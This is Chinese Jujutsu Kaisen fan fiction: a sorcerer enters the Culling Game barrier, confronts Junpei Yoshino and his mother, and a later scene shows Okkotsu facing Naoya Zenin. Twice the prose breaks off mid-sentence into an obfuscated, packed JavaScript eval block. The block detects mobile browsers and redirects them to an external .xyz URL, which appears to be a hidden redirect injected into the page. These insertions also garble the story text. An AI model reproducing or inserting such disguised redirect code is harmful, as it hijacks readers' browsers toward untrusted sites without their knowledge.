《[咒回]不归山海》 1. 混乱的开篇 2018年11月2日,东京,8时12分。 “嗨!我是小金!!这个结界之中正在进行名为死灭洄游的PVP生存游戏!!一旦踏足其中,你也将会成为泳者(玩家)!!你确定要进入结界吗!?” 形似蝇头,背上生着可笑翅膀的生物凭空出现。 类似游戏中的系统,每当有新人接近结界,小金便会出现在他们周围。无论应答与否,依照死灭洄游的规定,只要迈入结界,新的泳者就会诞生。 站在结界外的青年看起来二十岁出头,用像是万圣节换装才会戴的单眼眼罩遮住了右眼,身侧挎着单肩网球袋,包里鼓鼓囊囊的不知道放了什么东西。 “真是高明的结界术啊,我要是也擅长这个就好了。” 丝毫没有即将步入互相残杀的生死游戏中的自觉,青年搓了搓下巴上冒出的短胡茬,裸露在外的左眼上下打量着看上去直通天际的结界,然后那深不见底的漆黑瞳仁以诡异的角度转动,仰视停留在他肩侧的小金。 “还有你,是叫小金?” 不知到底是何生物、不知究竟凭何驱动,小金只是依托于死灭洄游而诞生。如今它忠实地履行着自己的职责,等待着新泳者的答复。 明明是在仰视,但青年却从未落于下风。 “是游戏的系统?还是说,”凝视着小金,青年以雀跃的口吻说道,“类似GM一样的存在呢?” “能被破坏吗?你坏掉了之后会有新的‘小金’出现吗?” 小金:“......” 见它没有回答的意思,青年甩甩手,直接抬脚跨进了结界:“真没意思。” 下一秒,他察觉到了隐约的空间波动,再睁眼整个人已经出现在了两百米的高空。 急速坠落的人瞬间调整好了自己的空中姿态,余光瞥到几点闪光。 小金始终跟随在青年的身边一起坠落,在奇特的猩红光线瞄准对方的时候大声说:“欢迎参加死灭洄游!!泳者日照弥山,祝你游戏愉快!!” —— 2018年10月31日,以东京地铁涩谷站为中心发生了大规模停电事故,事故原因不明,且电力至今尚未恢复。当晚在涩谷十字路口曾举办有数千人参与的万圣节活动,因为停电的缘故,手机讯号也同时消失,有许多人和家人失去了联系。 失联人员的家属聚集在警察署讨要说法,部分忧心忡忡的人准备直接前往涩谷寻找亲人,但均在半路被荷枪实弹的警察拦了下来。 混乱。 “你们是什么意思?为什么不让我们过去?” “是啊!涩谷到底发生什么事了?” “现在人心惶惶,没人知道到底怎么样了......” “响、我的阿响究竟在哪啊!?” 无措。 “......啊!那、那是什么东西!?怪物啊!!” “哈?你在说什么?” “你看不见吗!?它就在你身后啊!?” “你又喝多了吗?我身后哪有......呃、啊啊!?” “别、别过来......啊啊!!” 真相不明。 电视机里播放着不知所云的报道,寻找失联者的宣传报被贴的到处都是,途径涩谷的铁路交通莫名停摆却又无处抱怨。 端坐于这个国家权力巅峰的人亦不曾目睹10月31日发生在涩谷车站前的死斗,但覆盖面积超过两万平方米、相当于三个足球场面积总和的巨大焦坑和中心处那无法解释的陨石,以及无数高楼上留下的人力不可为之的削切痕迹,让他们不得不考虑如何向国民解释这宛若天灾般的场景。 那晚,涩谷是名副其实的人间地狱,有无数人命丧于此。 日照走出空无一人的便利店,手中捧着零元购来的一些零食。被留在货架上的大多是一些高盐油炸的膨化食品,日照翻遍了整间超市都没能找到一瓶水,最后翻到了一堆已经化掉的糖果,他用手臂一揽,全都扫进塑料袋里。 “真自由啊,以后岂不是再也不用为了赚钱发愁了?这么一想也还不错啊。”他自言自语着,比对着街边已经倒下的路牌确认了自己的位置,然后继续向北前进。 涩谷事变当晚,臭名昭著的诅咒师加茂宪伦利用其高明的结界术,在全岛十处地点设立了“游戏场”,推行了一场名为死灭洄游的生存游戏。游戏玩家被称为“泳者”,初始公布的8条游戏规则中,大多数都是以剥夺术式为代价,催促泳者们尽快参与游戏、相互厮杀赚取分数,以此来维持这个不讲道理的游戏继续存在。 分数是管理者为泳者的生命裁定的价值,在死灭洄游中作为重要的评判标准。杀死术师能获得5分,非术师1分。而且消耗除了泳者自身拥有的分数以外的100分,还可以向管理者交涉,为死灭洄游增加一条总则。 “小金,能显示所有泳者的信息吗?” “小金,能显示附近泳者所在的方位吗?” “小金,能用点数换某一个泳者的所在地吗?” “小金......” 小金:“......不行。” 日照叹了口气,踹开一辆锁在路边的自行车的车锁,确认链条还好好地挂着、车胎也没被扎破之后,蹬着粉红色的自行车加快了行进速度。 “真死板啊,明明是那个家伙创造出来的,死灭洄游这么新潮的东西怎么会有你这样一个不懂变通的系统呢?” 话是这么说,不过活了上千年的老东西还是尽早入土比较好。日照有一搭没一搭地试探着小金的底线,想要试验出死灭洄游有没有一些隐藏的规则或者bug存在。 进入结界会被随机传送,这一点并没有标明在死灭洄游初始的规则中,但确确实实是以“进入结界”作为触发条件而设定的*。传送地点并不随机,日照被传送到高空时就遭到了泳者的堵截。这些人大概是专门堵在“出生点”,想要利用被传送的人尚不能搞清状况的时间段将人击落赚取分数。 游戏才刚开始不到2天,已经有深谙此道的人玩起了刷分的套路。 如果是非术师,或者刚刚觉醒术式的人,恐怕会有很大的概率直接死在随机传送上面。说到泳者的构成,从规则中推测,除去早已觉醒术式的术师们和非术师,还有一类是在死灭洄游开始后觉醒术式的人。 为了强迫这类人参加游戏,第一条规则中就要求他们在觉醒术式后的19天内到任意结界宣誓参加死灭洄游。 加茂宪伦......不,这种时候应该叫他,羂索。他究竟是如何做到让非术师觉醒术式的呢?非术师的大脑结构和术师有根本性的差异,刻印在右脑的前额皮质处的术式是差别之一,其二则是能否使用术式,因为也有一些人生来拥有术式却无法使用。想要改变这一点,最大的可能性就是羂索通过某种手段改造了他们的大脑结构,使得非术师拥有了术师的大脑。 还有一种方法则是咒物受肉,像是今年受肉的两面宿傩,但他的容器虎杖悠仁似乎尚未表露出能够使用两面宿傩术式的能力。不过,如果是附身状态的话,倒是可以随意使用术式了。 日照卖力地蹬着脚踏板。他现在在守谷市,距离目的地常聪市还有一段距离。为了加快速度,他分出了一些咒力将脆弱的粉红色自行车车体加固了起来,以防他太用力而原地解散。在承受了它不能承受的工作量后,小粉红还是任劳任怨地驮着日照拐上了公路。 “加油啊,小粉红。你可是我们唯一的希望了!” “旁边就有摩托,为什么不骑?” “摩托的声音多大啊,马上就会被发现的好吧?你是蠢货吗?” “我觉得你巴不得被人发现呢吧?” “啊啊、不是说好了吗?要按照计划来!计划、计划啊!你这个笨蛋。” “......三十多岁的人了,少用那种JK语气说话,你的脑子终于被那个甜食狂同化了吗?” “不是挺有趣的吗?” “屁话。” 空旷的公路上,似乎只有青年一人在自言自语。 —— 作为泳者,羽场和羽生在死灭洄游开始后觉醒了术式。他们夫妇二人躲在暗处,全程围观了那个从天而降的人踩爆试图偷袭他的家伙们的全过程。 是物理意义上的踩爆,没有添加任何夸张的修辞手法。 自从发现结界内有一些地点会作为新人的随机传送点,他们和一些其他狡猾的同道中人便盯上了这处会将人传送至高空的传送点。 他们的术式还没有来得及起个响亮的名字,但二人均具备了飞行的能力。羽场可以将头发变成螺旋桨,羽生则能将头发变成类似喷气式飞机的飞行装置。可以说,在空中他们绝对能够做到初见必杀。 美中不足的是,这处地点被更早来的一伙人占领了。 那些人中的其中一个能够画出辅助线,只要那条猩红的光线穿过目标的身体,其他人的攻击都会跟随着辅助线完美地击中目标。更可怕的是,那个辅助线是会自动追踪的。 躲在暗处的他们正在纠结是否要换一处传送点,根本没有关注那个被辅助线穿透的倒霉蛋。他们并不知晓对方如何躲过追随着辅助线而来的攻击,但他们却看见了那个人毫不减速地一脚踩爆了楼顶的术师,又顺势穿透了一整座大楼,将钢筋水泥铸成的高楼凿成了碎块。等到降落时掀起的灰尘瓦砾重新落地,那附近就只有他一个人还完好无损地站着。 那个人斜挎着一个网球袋,身上却套着棒球服和黑色直筒裤,脚上踩着暗红色的高帮运动鞋。 话说,鞋子上的红色是血吗?是血吧!? 跟随着对方的小金报出了追加分数:“获得分数:5分!1分!1分!” 这就是——术师。 可恶的、比他们更早享受力量的家伙们!羽场和羽生在最初的震惊之后,仿佛看到了什么希望一般兴奋了起来。然而当他们准备离开藏身地点时,突如其来的危机感将他们定在了原地,仿佛被潜藏在暗处的野兽盯上了一般,动弹不得。 日照的咒力量并不算多,但他极为擅长咒力操作。人体内提炼出的咒力,理论上是以肚脐为起点,经过胸、肩、腕、拳的路线进行“流动”的。如何操控发动的咒力,让咒力的利用效率达到最高,对于向日照这样咒力量并不充沛的术师来说至关重要。 提炼咒力包裹全身,精通强化术的日照在落地时没有受到任何伤害。 旁侧大楼的16层还躲着两个术师,日照略微等待了一会儿,那两个人安静地待在原地,没有攻上来的意思,他也就懒得再爬那么高层去追那10分了。 羽场夫妇死死捂着嘴,恐惧地将身体蜷缩在墙体之后。 落地时喷溅到身上的血迹如同被施加了“清洁一新”的魔法咒语一样,瞬间炸成血雾脱离了日照的衣服和鞋子,露出了它们原本的颜色。 他掏出手机摆弄了几下,自言自语:“没时间浪费了,我们出发吧!” 青年从化为废墟高楼残骸上跳下,瞬息消失。 —— 日照蹲在小粉红的旁边,手里攥着断掉的链条。 “真逊,还不如一开始就用术式,好歹它还能多跑两步。” 一张嘴出现在青年的左脸,开开合合地说着风凉话。 日照叹了一口气,挠挠头。总觉得最近叹气次数太多了,不会提早步入更年期吧?明明他连青春期都还没过!不过没关系,把所有的“老人气”都推给那家伙就好了! “劝你别想一些失礼的事情。” “有什么关系?”日照嘟嘟囔囔地使用了术式,刚刚断裂成两截的链条眨眼间恢复了原状,甚至连其上长久风吹雨淋生成的锈迹都消失得一干二净。 兢兢业业的小粉红再一次嘎吱嘎吱地跑了起来。 骑下公路,两侧的楼宇逐渐密集了起来,街边三三两两出现了一些人影。电器商店开着的电视上还在重复播放着屏保广告,哪怕大门敞开也没有人愿意光顾。位于东京结界里的非术师们有一次机会离开结界,那些侥幸没有被选中成为泳者的普通人大多数都在想办法靠近结界边缘,一路上日照也碰到过几组结队离开结界的人群。 但总会有一两个原因,让一些非泳者的普通人只能留在结界内,暂时无法离开。比如母亲成为了泳者,而她一岁的孩子没有觉醒术式。又比如吉野顺平发现自己成为了泳者,而自己的母亲吉野凪对此仍一无所知。 因为秀气的长相与没有攻击性的性格,吉野顺平是校园里那些人缘、成绩全部垫底的家伙们欺负的对象。 其实哪有什么总受欺负的老好人啊?他们这种人不过是将冲他们而来的恶意全部吞下,直到自己的肚子再也撑不下,那些恶意就会穿透肠子,将伤害自己的人、爱着自己的人和他本人炸得遍体鳞伤。 2018年9月。 不想去上课,吉野顺平逃学了。原本打算去电影院看重映的《蚯蚓人3》,但走到半路突然下起了雨,担心妈妈出去买菜会不会没带伞的吉野顺平脚下一拐,顶着雨跑回了家。 “什么呀顺平,今天回来这么早?”出乎他意料的,吉野凪没有出门。 “妈妈......我还以为你会出门买菜,担心你没带伞。原来你在家啊。” 吉野凪在兜里掏了掏,摸出了一根烟,忽然想起自己已经答应不在吉野顺平面前抽烟,所以只是默默将烟叼在嘴里。 “顺平啊,我们搬家吧?” 吉野顺平右额被烟头烫出的伤疤进了水,忽然开始一抽一抽地痛。 “妈妈,你在说什么啊?我们为什么要搬家?” “哈哈,妈妈的朋友介绍了一个工作,不过是在常聪那边。你看,住在这边通勤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137732|180318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不方便,和朋友合租还可以省下一些钱哦。而且,顺平也不喜欢学校吧?比起待在小水槽里,还是应该去看看更大的大海不是吗?” 做梦似的,吉野一家搬去了常聪,和吉野凪的朋友合租在水海道天满町。朋友经营一家乳制品连锁店,因为人手不足,这条街上的这家店就交给了吉野凪。 “反正平常也没什么客人,吉野你随便帮我管一下店就行啦,多谢!” 总之,朋友是这么说的。吉野顺平腹诽,果然能和妈妈聊到一起去的人也不会是太过正经的家伙啊。 他也转学进入了附近的学校。 一切都很顺利。或者说,一切还都没来得及变坏。 此刻,吉野顺平坐在副驾驶,吉野凪开着一辆小轿车小心地走在大街上。死灭洄游开始时,朋友一家去外地进货,等到他们发现不对劲的时候,所有的对外通讯手段都被切断了。 大街上突然冒出了许多怪物。一些只有吉野顺平能够看见,而吉野凪看不到的怪物。 “妈妈,向左拐!” 吉野凪立刻猛打方向盘,险之又险地避开了从右侧冲过来的咒灵。她看不见那些怪物,但它们挥舞手臂时产生的风波、踩裂地面留下的坑馅全都昭示着自己的存在。 “呼!还好有你,顺平!我们甩掉了吗?” 吉野顺平向后看去,小轿车的车窗玻璃昨天在躲避咒灵的时候受到了波及而碎裂,玻璃碴子还差点划伤了他的眼睛。因此现在吉野顺平可以直接将头伸出窗外。 “还没,妈妈,还能加速吗?” 吉野凪猛踩油门:“你妈妈我当年也是被叫过女邦德的,虽然没有阿斯顿·马丁的DB5,但也别小看我啊!” 吉野顺平长长的侧刘海被风卷起,露出新愈合的烟疤。追在他们身后的咒灵不仅体型巨大,而且背上还长着一双蝙蝠一样的膜翼。说不好这家伙.....真的会飞! “妈、妈妈!这家伙会飞!!” “哈?骗人的吧?” “妈妈!” “我知道啦我知道啦!!顺平你就帮我看好它就行,总会有办法的!”吉野凪的兜里还有先前去超市寻找水源和食物时顺手拿上的烟,但她现在也腾不出手来了。 怎么办?要用“淀月”吗?但是那个家伙体积也太大了吧?拳头都要比这辆小轿车还要大了......如果最后真的跑不掉,就让淀月裹住妈妈! 吉野顺平觉醒的术式可以召唤一只名为淀月的式神,它的触手上挂着剧毒,身躯柔韧,足以裹住一个成年人。 吉野凪不是泳者,身为非术师的她也看不见小金公布的死灭洄游的规则,吉野顺平并没有将他能够看到那些怪物的原因告知吉野凪。这些突然冒出来的咒灵并不具备分数,对泳者来说即便杀死它们也没有任何好处。所以,见到正在被咒灵追赶的吉野一家,大多数人选择视而不见,或者慢慢跟在后面看看能不能捡漏拿到两个人头的分数。 这真是、最糟糕的情况了。吉野顺平下意识地用指甲掐着自己的手掌,疼痛感带来头脑的清醒,他强迫自己思考逃生的道路。 什么霸凌、烟头、他人的目光,在直面生与死的时候全都是可以被随手抛弃的小事。那些跟在咒灵身后看热闹、等着补刀的人,只要不主动伸手将他们推向咒灵,那就是履行了“漠不关心”的美德。 “诶诶!?这位小哥,你骑得好快啊!”吉野凪的呼喊将吉野顺平的思绪拉了回来,身后是穷追不舍的咒灵,而与飞驰的小汽车保持了同样速度的是一个骑着粉红色自行车的青年。 “你也不差嘛!有女邦德的风范哦。” “哈哈是吗?过奖了过奖了!” 那个人戴着一个可疑的单眼眼罩,而且那个骑车速度,怎么看都不正常吧!?吉野顺平一下就确认了,这个人也拥有术式,他肯定是泳者! “妈妈!我们......” 话音未落,身后咒灵的攻击打断了他的话语。轻薄的膜翼无法支撑大约有六层楼高的身躯长时间离地飞行,咒灵的身体重重地砸在了地上,造成的冲击直接将小轿车弹了起来。片刻的失重感后,在吉野凪“顺平坐好”的惊呼中,小轿车以一种诡异的角度落地,奇迹般地保持住了平衡,继续向前滑行。 日照同样被这一记泰山压顶颠得弹了起来,小粉红在空中发出“嘎、嘎吱——”的哀鸣,在术式作用下恢复如初的链条彻底断裂,连带着整辆车的零件直接在空中解体,噼里啪啦地掉了满地。 一个完美受身落地,日照捡起滚到他身边的车轮。 “......一个一个的,烦死了啊!明明时间都快要到了!!”偏偏挑在这个时候来打扰,这直接让日照变得怒火中烧。大概是早上订了闹钟,却偏偏比闹钟早醒一分钟一样让人闹心的感觉吧。 做出扔铅球的动作,小粉红饱经风霜的车轮被日照单手甩了出去,速度之快甚至能隐约听到破空声。 “讨、厌......讨厌、蝙蝠......”咒灵嘴里吐出音节不全的字符,汽车大小的手掌迎着被投掷过来的东西伸了过去。 轰—— 起初,人们以为那只是一个小小的车轮。直到它穿透了咒灵的手臂,在它身上开了一个过山隧道之后,所有人的眼神都变了。 如同火|箭弹一样的车轮穿透了咒灵的半个身子,站在地面能够直接欣赏到今日的晴空。小粉红的车轮在离开咒灵的身体时仍旧保持形状的完整,然而半秒钟后却像是被空气搅碎了一样,直接在空中破碎消失了。 “强化术?那个威力简直就是榴弹炮啊?” “可怕,那是谁啊?” 原本潜伏在四周蠢蠢欲动的家伙们没人愿意当第一个吃螃蟹的人,去招惹那个看起来普普通通的青年,所以都弯腰猫在原地没有动作了。 “小哥你蛮厉害的嘛,你去哪儿?要不要我载你一程?”不知道自己死里逃生的吉野凪将车开到日照身边,抬手指了指空无一人的后座。 人在激烈运动后,更容易展露出敞开心扉的一面。这个时候的人更容易热血上头,同样也容易轻信他人。 吉野顺平想要阻拦的话还没说出口,日照直接问道:“你们是泳者吗?” 吉野凪哈哈大笑着摆手:“那是什么?游泳选手吗?我们正要离开这个呃、结界?总之,到外面去。小哥你也跟我们一起走吗?作为消灭了‘看不见的怪物’的报酬,路费就不用给了,怎么样?” 吉野顺平松了一口气。没想到没有和妈妈坦白死灭洄游和泳者的事情居然还有这种意想不到的结果,幸亏妈妈没有将他能够看到那些怪物的事情说出去。然而就在他思考如何让吉野凪放弃让这个人搭顺风车的想法时,日照的下一句直接让他后脊发凉,不可抑制地颤抖了起来。 他说: ——“小金,这两个人是泳者吗?” 2. 旧地重游 爱的反义词是漠不关心。你对我的漠不关心,就是对我抱有最大的善意。吉野顺平一直都对此坚信不疑。 那个人询问小金:“这两个人是泳者吗?” 那一瞬间,吉野顺平的世界几欲崩塌。 没办法,自己束手无策的怪物,对方只是一击就消灭掉了。打不过的吧?那就像往常那样,蜷缩起身子、用手护住脆弱的头部、用曲起的腿护住柔软的胸腹,承受痛苦吧? 但是不行!妈妈还在——吉野凪正在他和那个青年的中间,她无处可逃。 对方的小金冒了出来,水母样散发着荧光的式神淀月也在同一时刻出现,正正好好地笼罩在了吉野凪的身上。 “是!!前方二人,其中吉野顺平为泳者!!” 感受到什么柔软的东西罩在自己身上,吉野凪回头看向自己的儿子:“顺平?” 淀月垂下的触手狂乱舞起,尖锥样的头部向日照冲来。 日照抬起手臂,堪堪挡住了右脸。下一刻,像是原地被人扔了什么即将爆炸的手榴弹一样,他整个人突然向后跃去,躲开了那些触手的攻击。吉野顺平顺势拉开状况外的吉野凪,控制着方向盘大喊:“踩油门!” “别急着走啊。” 有什么东西裹挟着飓风刮过车头,扬起沙尘灌入了狭小的车内。吉野顺平顶着沙疼的双眼,试图控制车辆的方向,却发现小轿车无论如何也无法移动半分。 整辆车的车头仿佛被什么巨大的利器切割,完完全全地与车身分家了。 那是、什么啊?回想起刚才从挡风玻璃前一闪而过的扑克牌,吉野顺平的大脑陷入了混乱。 扑克牌?他用扑克牌把车头划开了?这也是术式的使用方法吗? “咳咳......好大的尘,咳、抱歉,不用害怕,刚才......总之,抱歉啦。” 青年从尘幕中走出,来到仅剩的车身旁边。 笼罩在吉野凪身上的淀月仍旧遵从主人的命令,向日照发起了攻击。在吉野顺平的眼前,青年只是用手轻轻碰了一下淀月,淀月的身体就像是被注入过多气体的气球一样炸开了。连带着他这个式神的主人也感觉到脑内一阵刺痛,不得不弯下腰来抱着头吸气缓解疼痛。 “顺平!?你们到底在干什么?”驾驶位上的吉野凪侧身护在吉野顺平身前,有些警惕地看着日照。 “虽说有句话叫无知是福,但小孩子还是多依赖大人一些比较好哦,顺平。”在场有两个吉野,日照只好学着某个甜食狂,直接喊小辈的名字了。 “吉野妈妈还不是泳者,直接离开结界就可以了。至于顺平的话,以现在的规则来看,没办法离开哦。” 在击碎淀月之后,日照就保持着一只手搭在车窗上的姿势站在小轿车的残骸旁,没有靠近的意图。吉野凪终于意识到吉野顺平向她隐瞒了比他在学校受到欺凌更严重的事情:“顺平?给我一个解释。我是妈妈,多少依赖我一点吧?” 见事情还是发展到了这一地步,吉野顺平低声将小金与死灭洄游,和自己在某一天突然能够看见那些怪物的事情告知了吉野凪。 没有预想中的责怪,吉野凪将吉野顺平紧紧搂入怀中。母子二人敞开心扉的感动一刻本来值得日照给他们留出互诉衷肠的片刻时间,但很可惜,现在正是最要紧的时候。 “所以,你们打算怎么办?我想去水海道桥本町,太久没回来路都不认识了,本来想着能请你们带我一段,但现在这个样子也没办法了呀。” 吉野顺平:他看起来好可惜的样子,虽然是我先动手的吧,但是车是你划坏的! 他鼓起勇气问道:“这里距离最近的结界边缘还有多远?” 日照:“不知道诶。” “......”吉野顺平放弃和他沟通。这个家伙,武力值很高,而且脑子也很好使。规则中可没有写明可以询问小金遇到的人是不是泳者,然而这个家伙却知道并且很好地利用了这一点。目前来看,暂时对他们不存在杀意......也应该只是暂时的。 如果是三流电影,这样无所不能的家伙一定就是主角。他作为主角随手救下的炮灰角色,应当在完成“出场”的任务后,果断潇洒地退场才对。 如果是三流电影的话。 “我可以带你去桥本町。”吉野顺平的眼神稍微坚定了一些,染上了他自己都未曾察觉到的孤注一掷。 吉野凪有些惊讶:“等等,顺平?” 日照则是颇感兴趣地说:“哦?” “你让我做什么都可以,跑腿、找路、找人,我都可以拼上性命去做!所以!” 吉野顺平平生第一次鼓起勇气直视他人的眼睛,大声说出自己的诉求:“请告诉我让我和妈妈一起离开的方法!!” 片刻的寂静。 像吉野顺平这样常年在人际关系中落于下风、无力自保的受欺凌者,本不应该对他人施放的点滴善意抱有任何的期待。但他还是提着一口气发问,带着惶惶不安的表情焦虑地等待着“最终审判”。 半晌,伫立在车旁的青年缓缓开口:“所以,你决定把自己献给我、奉上性命祈求的东西,居然是‘方法’吗?” 他露出一个不怀好意的笑容,开玩笑般地说:“方法?那种东西多得是啊!杀了我,杀了这处结界里的所有人,跟小金换取对自己有利的规则不就行了?这个结界的分数不够,那就去下一个结界,十个结界的分数总归是够的!” 吉野顺平看着好像已经疯了的人,满头冷汗:“这、这种方法不行的!我做不到......” 吉野凪也竖起眉头,不快地看向日照:“我说这位小哥,取笑也要有个限度!” 日照没了吓人的乐趣,恢复了平常的态度,毫不在意地说:“你才觉醒术式,很多事情都不明白。和术师对话的时候,要小心这种基于双方利益形成的‘束缚’。如果我刚才同意了你的交换,不管我给出的方法你是否满意,如果你不完成放在交易天平上的条件,那就是违反了‘束缚’,会受到惩罚的哦。” “诶!?” 看着茫然的吉野顺平,日照忽然泄了气。 “嘛——我这人不太适合当老师啊。顺平只需要注意,在你的认知中,例如‘只要今天能蹦到三十米高,那今后我不再喝可乐也可以’这类,哪怕没有说出来,也会被算作‘束缚’哦。” “废话真多,不想杀就把他们丢在这儿,赶紧走。” 吉野顺平的目光顺着声音的来源寻去,最终定格在了青年的脸上。这个声音,在刚才的争斗时好像听过,他还以为是错觉来着。 “脸上......长出了嘴巴!?”吉野顺平惊呼道。 “嘴巴?哪里?”吉野凪什么都没有看到。 日照抬手给了自己一巴掌,将脸上的嘴巴打了回去:“别随随便便出来,我这不是又要多解释几句了吗?别给人添麻烦啊。” 他又看向吉野顺平:“抱歉,我的时间很紧,给我指个方向就行。这两天、最晚的话一星期,不出意外我会增加让泳者自由进出结界的规则。在那之前,顺平就带着吉野妈妈随便躲在哪里都成,之后赶快离开这个结界内就好。啊、之后要记得每隔19天得分哦,顺平。” 吉野顺平急切地说:“那不还是要......杀人吗?那我们为什么要离开这个结界?” 这个以强硬的姿态将吉野顺平拽进咒术界的人微微侧头,唯一露出的左眼看向他:“顺平,成为术师也就意味着困扰你的问题不再会是学校里青春期的同学,也不会是电视台今天没有按时播出自己想看的节目。这是一个远比你想象的更残酷的世界,你应该已经认识到这一点了才对。比起过的顺心如意,还是先‘活下来’更重要一点,对吧?” 如果是五条悟的话,大概会说着“交给我吧!”然后将人捡回高专慢慢教导,但日向弥山是比五条悟更加纯粹的不完全结果论者。六眼神子这么多年捞回来诸多问题儿童,心中抱着“只要强就行”的想法,但做起老师来也还算得上是称职。而在日照弥山的心中,除了与自己血脉相连的兄弟和自己挤进他生活里来的家伙,其他人怎么样他毫不关心,所有的“其他人”都可以在“为了得到结果而采取行为”的行动过程中成为一份助力,不管他们想或者不想。 “为了拿到额外的100分,就算只杀术师,也要有20人才行。这个东京第1结界里的高手绝对不止我一个,打到最后说不定没有人会活下来哦?我可不是坐以待毙的类型,刚才和你说的也不完全是玩笑话,算是planB之类的吧。” 这个人是认真的——他真的准备凭自己拿到添加心仪规则的分数,如果不够的话,他还会继续——杀人。 吉野顺平闭上了嘴。如果知晓眼前的人是恶人,吉野顺平能够毫无芥蒂地动手杀了对方吗?不会。只要恶人没有对自己行恶,那么这个人和自己就是“无关的”。吉野顺平会将漠不关心贯彻到底。 然而进入了这个相互残杀的生存游戏,在这个世上所有的法律规范和道德准则都不再适用的人外魔境,好人和恶人还能按照常人眼中的标准来区分吗?说不定,吉野顺平善恶观更适合这个死灭洄游的游戏。 “毒是非常好使的攻击手段,就算有的术师会使用反转术式,想要解除初次见到的毒素也要费上一定的力气,这个时间里顺平无论是选择进攻还是逃跑都是有很大几率成功的。” 日照最后又和吉野顺平说了一些有关术式和咒术的事情,确认了桥本町的方位后,很快就消失在了吉野一家的眼前。 吉野顺平拉着吉野凪的手,试着运用咒力强化手臂的肌肉,提起了原本不可能提动的行李。 “妈妈,我们先找个地方落脚吧。等......他增加规则,我们就离开这里。”猛然想起自己还不知道对方的名字,吉野顺平只得先和吉野凪找个地方安顿下来。如果过段时间对方没有增加规则,那么他就会为了妈妈,也为了他自己,去尝试着践行自己的信条。 还有,他是怎么知道自己的“淀月”有毒的呢? 另一方,日照顺手祓除了挡路的咒灵,一边聊天。 “你不觉得顺平很像以前的光士吗?那个眼神简直就是一模一样啊。不过,顺平他既希望别人对自己‘漠不关心’,又希望有人能在他陷入困境时提供帮助,世上哪有这么好的事。” 握在手中的石块击穿了咒灵的大脑,来到八间渠的河道旁,日照终于从大变样的城市中见到了一丝过去的影子。 “随着膨胀的力量而生出的......可笑的全能感。”他喃喃自语道,踏上了跨越八间渠的跨河大桥。 “走快点。” “......你等着,下次我要把你打哭!” 脸颊上的嘴巴吐出一个嘲讽的:“呵。” 八间渠的跨河大桥莫名其妙颤动了一下,缓缓流淌的河水带走了青年气愤的无能狂怒。 —— 2018年11月2日,结界外某地。 乙骨忧太提刀站在地下通道出口处的外壁上,俯视着地面的三人。让人感到毛骨悚然的咒力包裹着他的身体,加上眼下似乎因睡眠不足而淤积的青黑,在虎杖悠仁与胀相看来就像是在被白色的死神注视着。 在涩谷事变发生后,咒术总监部立刻发布了通告。其中第四条便是:取消虎杖悠仁死刑缓刑,决定对其立即执行死刑。 禅院直哉并非为了杀死虎杖悠仁而来,他只是希望通过虎杖悠仁来引出伏黑惠。他那个在涩谷事变中伤重的老爹禅院直毘人居然被吊回了一口气,昨晚已经能下床活动了。只要禅院直毘人一死,禅院家的第27代家主本来应该由他禅院直哉继承,但在昨晚禅院直毘人叫来了禅院直哉、禅院甚一和禅院扇三人,宣布只要找到伏黑惠,就会履行他与禅院甚尔的约定,将伏黑惠迎回禅院家继承家主之位。 等待多年、原本牢牢掌控的囊中之物突然被亲爹扔给了外人,禅院直哉简直要被气疯了。伏黑惠不能活着,禅院直毘人的这个决定说不好已经被写进他的遗嘱里,就算他禅院直哉等不下去了直接弑亲,只要伏黑惠还活着,这个家主之位就永远不会是他的。 “你是乙骨吧?是来杀虎杖悠仁的?”禅院直哉当然知晓来人的身份。特立独行的白色高专制服,现存的四位特级咒术师之一。哦,硬要说的话现在应该是两个。只是还不清楚对方的态度,一般从咒高出来的家伙全都是五条派的人,当然也不排除冥冥那样看钱做事的家伙。 在虎杖悠仁不明所以和胀相的戒备中,乙骨忧太将目光看向在场的第四人:“你是?” “我是特1级术师禅院直哉,真希是我的堂妹。乙骨,你也应该接到通告了吧?虎杖悠仁的死刑缓刑被取消了哦。如果你要杀他,我希望你能先不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137733|180318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ......!!” 禅院直哉话没说完,下一秒直接消失在了原地,凭空出现在了虎杖悠仁和胀相身后五米处。 好快!胀相猛地回身看向禅院直哉,伸手将虎杖悠仁护在身后。 禅院直哉原先站立的地方,乙骨忧太将刀从地面上拔出。 “这是你的术式?和禅院家主一样的【投射咒法】?”黑发青年面无表情道,缓缓将刀举至身前。 禅院直哉感到一阵后怕。如果不是使用了术式,他根本无法躲开乙骨的那一击。对方在一年前还是被五条悟他们强行保下来的特级被咒者,同年因不明原因解咒成功,级别降到4级,却又在短短三个月的时间里重回特级。 上面并没有指定虎杖悠仁死刑的执行人,也就是说任何术师都可以来完成这个目标。禅院直哉本想试探一下乙骨的态度,没想到对方装都不装一下。 这家伙......站在悟君那边了啊,看来惠的事要另想办法。禅院直哉的狐狸眼紧盯着乙骨忧太的方向,谨防对方继续对他发起快速进攻。 胀相稍稍放松了绷紧的手臂。刚才转瞬间发生的对决就连他也没能反应过来,那个黑头发的乙骨肉|体速度快要追上使用术式的禅院直哉了。原本打算如果对方真的是来杀悠仁的,胀相会用“百敛·穿血”为弟弟争取逃离的时间,但现在来看,这个乙骨似乎是站在他们这边的? 